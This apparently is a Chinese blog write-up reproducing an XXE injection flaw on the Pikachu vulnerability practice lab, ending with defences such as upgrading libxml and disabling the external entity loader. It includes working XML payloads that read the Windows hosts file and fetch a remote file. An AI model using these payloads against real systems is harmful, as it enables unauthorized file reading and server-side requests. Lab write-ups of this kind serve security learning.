版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
引言~
XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。
实验环境~
PHP版本:5.4.45
中间件:apache
复现平台:皮卡丘漏洞练习平台
libXML编译版本:2.7.8 libxml环境要在2.8以下
复现步骤
1.输入框输入body text 被当做xml命令执行了,初步判定存有xxe漏洞
2.构造payload验证语句测试
<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE a [
<!ENTITY xhh SYSTEM "C:/Windows/System32/drivers/etc/hosts">
]>
<a>&xhh;</a>
成功通过xml外部实体函数获取windows敏感文件
再来验证是否能读取远程服务器的robot文件
poc:
Payload:
<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE a [
<!ENTITY xhh SYSTEM "http://khanany.com/robots.txt">
]>
<a>&xhh;</a>
成功读取,证明存在xxe漏洞,xxe漏洞复现完毕
漏洞防御
• 1.尽量不适用xml传输数据
• 2.libxml库升级为到2.9.0及以上
如果当前使用的程序为PHP,则可以将libxml_disable_entity_loader设置为TRUE来禁用外部实体,从而起到防御的目的。